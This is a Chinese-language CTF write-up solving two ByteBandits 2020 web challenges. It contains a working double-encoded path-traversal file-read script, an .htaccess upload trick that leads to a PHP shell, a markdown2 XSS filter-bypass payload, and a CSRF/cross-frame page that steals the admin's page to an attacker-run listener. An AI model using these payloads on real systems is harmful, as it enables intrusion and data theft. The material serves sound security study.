Author:颖奇L’Amore Blog:www.gem-love.com
比赛质量很高,决定本地搭环境复现
ImgAccess2
I heard they have something special running at secretserver:1337 https://github.com/ByteBandits/bbctf-2020/tree/master/web/ImgAccesss
考点: FUZZ、任意文件读取、.htaccess重写难度: 较难(需要分析+较强的fuzz能力)
截止到写这篇WP,CTFtime上还没有关于这题目的任何wp 自己搭个环境做一下,docker-compose up直接一步到位 官方WP只有简单的几个字:
python source code can be leaked by /uploads endpoint
source code contains hint about apache
apache allows config override using .htaccess
剩下的还是需要自己做了
RECON
题目提供了一个上传功能 在回包有这样的字段:
说明题目是Python写的,Python的上传绕过getshell还没遇到过,目测这个题也没有这么简单粗暴 简单测试发现只能穿图片,然后caption随便写没什么卵用,上传之后回来到/upload页面,只有个链接指向到/view/ip的md5/原始文件名: 跟进,发现指向了/uploads/ip的md5/原始文件名,这个路径是文件的真实路径:
FUZZ
在测试这个上传的文件的路径时候,我无意中发现了一个很奇怪的现象,不返回403不返回404反而是500: 这说明,这个路径肯定不是直接去访问的,一定是经过gunicore后端解析的,他大概的代码应该是/uploads/:path
这样的 既然如此,是否可以通过构造特定的:path
来SSRF?经过艰难的大量的测试+一些自己的思考,发现二次编码绕过可以实现任意文件读取:
import requestsfrom urllib.parse import * file_to_read = "/etc/passwd" url = "http://localhost:7003/uploads/" + quote_plus(quote_plus("../../../" +file_to_read))r = requests.get(url)print(r.text)
文件读取
现在能够做到任意文件读取了,那么读什么?一般python源代码都写在app.py中,于是读一下:
file_to_read = "app.py" url = "http://localhost:7003/uploads/" + quote_plus(quote_plus("../" +file_to_read))
得到:
from flask import Flask, render_template, request, flash, redirect, send_filefrom urllib.parse import urlparseimport reimport osfrom hashlib import md5import asyncioimport requestsapp = Flask(__name__) app.config['UPLOAD_FOLDER' ] = os.path.join(os.curdir, "uploads" ) app.config['MAX_CONTENT_LENGTH' ] = 1 *1024 *1024 app.secret_key = b'_5#y2L"F4Q8z\n\xec]/' ALLOWED_EXTENSIONS = {'png' , 'jpg' , 's' } if not os.path.exists(app.config['UPLOAD_FOLDER' ]): os.mkdir(app.config['UPLOAD_FOLDER' ]) def secure_filename (filename ): return re.sub(r"(\.\./)" , "" , filename) def allowed_file (filename ): return '.' in filename and \ filename.rsplit('.' , 1 )[1 ].lower() in ALLOWED_EXTENSIONS @app.route("/" ) def index (): return render_template("home.html" ) @app.route("/upload" , methods=["POST" ] ) def upload (): caption = request.form["caption" ] file = request.files["image" ] if file.filename == '' : flash('No selected file' ) return redirect("/" ) elif not allowed_file(file.filename): flash('Please upload images only.' ) return redirect("/" ) else : if not request.headers.get("X-Real-IP" ): ip = request.remote_addr else : ip = request.headers.get("X-Real-IP" ) dirname = md5(ip.encode()).hexdigest() filename = secure_filename(file.filename) upload_directory = os.path.join(app.config['UPLOAD_FOLDER' ], dirname) if not os.path.exists(upload_directory): os.mkdir(upload_directory) upload_path = os.path.join(app.config['UPLOAD_FOLDER' ], dirname, filename) file.save(upload_path) return render_template("uploaded.html" , path = os.path.join(dirname, filename)) @app.route("/view/<path:path>" ) def view (path ): return render_template("view.html" , path = path) @app.route("/uploads/<path:path>" ) def uploads (path ): return send_file(os.path.join(app.config['UPLOAD_FOLDER' ], path)) if __name__ == "__main__" : app.run(port=5000 )
第一处关键代码:
@app.route("/uploads/<path:path>" ) def uploads (path ): return send_file(os.path.join(app.config['UPLOAD_FOLDER' ], path))
这里出题人直接给了Hint,告诉有一个/uploads_apache使用了Apache 第二处文件代码:
ALLOWED_EXTENSIONS = {'png' , 'jpg' , 's' }
这个基本是fuzz不出来,后缀白名单除了png和jpg,还给了个s
htaccess重写
根据他的hint,直接使用Apache访问刚刚上传的图片发现是可以打开的
http://localhost:7003/uploads\_apache/f528764d624db129b32c21fbca0cb8d6/y1ngshell.jpg
再次回到app.py看源码,本来以为文件名经过了werkzeug.utils.secure_filename()
处理了
secure_filename(file .filename )
来撸一下这个函数的源码: 可以看到,这个secure_filename()
会把开头的/../
这样的跨目录的危险内容给剥离 加之app.py中允许了s这个后缀,我的第一感觉就是上传.htacces/..s
来绕过,首先这可以被认为是一个s为后缀的文件可以绕过后缀的白名单检测,然后再存文件前被secure_filename()
给剥掉/..
这样就拼接成了.htaccess实现了Apache规则文件重写。 然而本地测试发现是不可以的,只有/..
在开头时候才给剥掉 没其他现成的思路了,只能去手工测试,结果神奇的事情发生了,居然莫名其妙的上传成功了并且被处理成了.htaccess 后来guoke师傅告诉,才反应起来,这个secure_filename()
是它自定义的函数:
def secure_filename (filename ): return re.sub(r"(\.\./)" , "" , filename)
服务器正好配置了PHP,这样就getshell了
wget内网主机得到flag:flag{w3ll_pl4y3D_h3ck3rm4n!}
Notes APP
noob just created a secure app to write notes. Show him how secure it really is! https://notes.web.byteband.it/
考点: Markdown XSS、CSRF、XFS难度: 难分析
题目给了Docker源码,简单粗暴: 打开题目网页,可以发现能够注册登陆,然后有个输入框能输入东西(前端很美观) 在源码里发现可以把URL发给管理员看:
@app.route("/visit_link" , methods=["GET" , "POST" ] ) def visit_link (): if request.method == "POST" : url = request.form.get("url" ) token = request.form.get("g-recaptcha-response" ) r = requests.post("https://www.google.com/recaptcha/api/siteverify" , data = { 'secret' : os.environ.get('RECAPTCHA_SECRET' ), 'response' : token }) if r.json()['success' ]: job = q.enqueue(visit_url, url, result_ttl = 600 ) flash("Our admin will visit the url soon." ) return render_template("visit_link.html" , job_id = job.id ) else : flash("Recaptcha verification failed" ) return render_template("visit_link.html" )
管理员确实会访问:
async def main (url ): browser = await launch(headless=True , executablePath="/usr/bin/chromium-browser" , args=['--no-sandbox' , '--disable-gpu' ]) page = await browser.newPage() await page.goto("https://notes.web.byteband.it/login" ) await page.type ("input[name='username']" , "admin" ) await page.type ("input[name='password']" , os.environ.get("ADMIN_PASS" )) await asyncio.wait([ page.click('button' ), page.waitForNavigation(), ]) await page.goto(url) await browser.close() def visit_url (url ): asyncio.get_event_loop().run_until_complete(main(url))
所以基本肯定是个XSS类题目
Markdown2 XSS
在源码中注意到如下代码:
@app.route("/update_notes" , methods=["POST" ] ) @login_required def update_notes (): current_user.notes = markdown2.markdown(request.form.get('notes' ), safe_mode = True ) db.session.commit() return redirect("/profile" )
使用了Markdown2,因为safe_mode = True
的缘故,<script></p>
等标签标签会被转义为[HTML_REMOVED]
,无法直接XSS: 通过搜索Google,发现了Markdown2的XSS漏洞,链接:
Filter bypass leading to XSS
PoC:
<http://g<!s://q?<!-<[<script>alert(1);/\*](http ://g)-> a><http://g<!s://g.c?<!-<[a\\*/</script>alert(1);/*](http ://g)-> a>
但是,这是一个Self XSS,不能交给管理员看,因为分析代码可知,管理员登录了自己的账户,看到的是他自己的留言板,我们自己的留言板只能被自己看到。 需要想办法得到管理员页面的内容才能得到flag
登录
可以看到登录时使用的是get而不是post,如果以登录就直接跳转到/profile:
@app .route("/login" , methods = ["GET" , "POST" ])def login(): if current_user.is_authenticated: return redirect("/profile" ) if request.args.get ("username" ): # register user id = request.args.get ('username' ) password = request.args.get ('password' ) user = User.query.filter_by(id = id).first() if user and user.check_password(password = password): login_user(user) return redirect("/profile" ) flash('Incorrect creds' ) return redirect("/login" ) return render_template("login.html" )
所以可以轻松的构造出一个登录自己账号的连接,比如
https://notes.web.byteband.it/login?username=y1ng&password=y1ng
CSRF+XFS
现在并不知道管理员的账号密码(如果知道的话 这个就已经做完了),并且凭借做题经验来讲,这种允许自己注册账户并登陆的题目,十有八九和SQL注入无关,分析代码可知本题目使用了Redis并且登陆确实不存在SQL注入
管理员使用我们的帐户登录并不能显示它自己的Profile页面,所以admin的profile可能会预先显示在iframe中,然后logout和登录我们的帐户的操作在另一个iframe 在login()
中,如果已登录就会直接跳转:
if current_u ser.is _ authenticated: return redirect("/profile" )
所以可以把payload放在我们自己的profile中,在新的iframe中通过CSRF登录我们自己的账户来触发Payload,然后Payload窃取了管理员原始iframe,得到flag。因为两个iframe并不存在跨域问题,所以这个XFS(跨框架脚本)攻击是可行的
时间问题
但是还有个问题:
async def main (url ): browser = await launch(headless=True , executablePath="/usr/bin/chromium-browser" , args=['--no-sandbox' , '--disable-gpu' ]) page = await browser.newPage() await page.goto("https://notes.web.byteband.it/login" ) await page.type ("input[name='username']" , "admin" ) await page.type ("input[name='password']" , os.environ.get("ADMIN_PASS" )) await asyncio.wait([ page.click('button' ), page.waitForNavigation(), ]) await page.goto(url) await browser.close()
正如sigflag 所说的,本地打得通,题目不生效,因为他page.click('button')
登录之后不会等你payload被执行就直接browser.close()
了 所以需要手工添加延时,让browser花更长时间来解析,才能够让Payload正常执行,使用graneed 的脚本:
<html > <head > <script > function sleep (waitMsec ) { var startMsec = new Date (); while (new Date () - startMsec < waitMsec); } window .addEventListener('load' , function ( ) { var adminframe = document .createElement("iframe" ); adminframe.name = "adminframe" ; adminframe.src = "https://notes.web.byteband.it/profile" ; var body = document .querySelector("body" ); body.appendChild(adminframe); sleep(3000 ); var logoutframe = document .createElement("iframe" ); logoutframe.src = "https://notes.web.byteband.it/logout" ; body.appendChild(logoutframe); sleep(3000 ); var loginframe = document .createElement("iframe" ); loginframe.src = "https://notes.web.byteband.it/login?username=y1ng&password=y1ng" ; body.appendChild(loginframe); }, false ); </script > </head > </html >
在自己服务器上创建这个页面,然后在自己profile中使用如下Payload:
<http://g <!s://q?<!-<[hoge;/*](http://g)->a>
之后来到visit_link把我们的html页面提交: 服务器上nc监听就得到了返回的数据: 解base64:
<div class ="hero is-fullheight is-centered is-vcentered is-primary" > <div class ="hero-head" > <nav class ="navbar" > <div class ="container" > <div class ="navbar-brand" > <a href ="/" class ="navbar-item" > MyNotes </a > </div > <div class ="navbar-menu" > <div class ="navbar-end" > <span class ="navbar-item" > <a href ="/logout" class ="button is-primary is-inverted" > <span > Logout</span > </a > </span > </div > </div > </div > </nav > </div > <div class ="hero-body columns is-centered has-text-centered" > <div class ="column is-4" > <div class ="title" > Howdy admin! </div > <p > flag{ch41n_tHy_3Xploits_t0_w1n} </p > <br > <form method ="post" action ="/update_notes" > <textarea class ="textarea" name ="notes" placeholder ="Write something here" > </textarea > <input class ="button is-fullwidth" type ="submit" value ="Update" name ="" > </form > </div > </div > </div > <footer class ="footer" > <div class ="content has-text-centered" > <p > <strong > MyNotes</strong > by n0ob. </p > </div > </footer >
flag:flag{ch41n_tHy_3Xploits_t0_w1n}
References https://graneed.hatenablog.com/entry/2020/04/13/004211 https://www.sigflag.at/blog/2020/writeup-bytebandits2020-notes-app/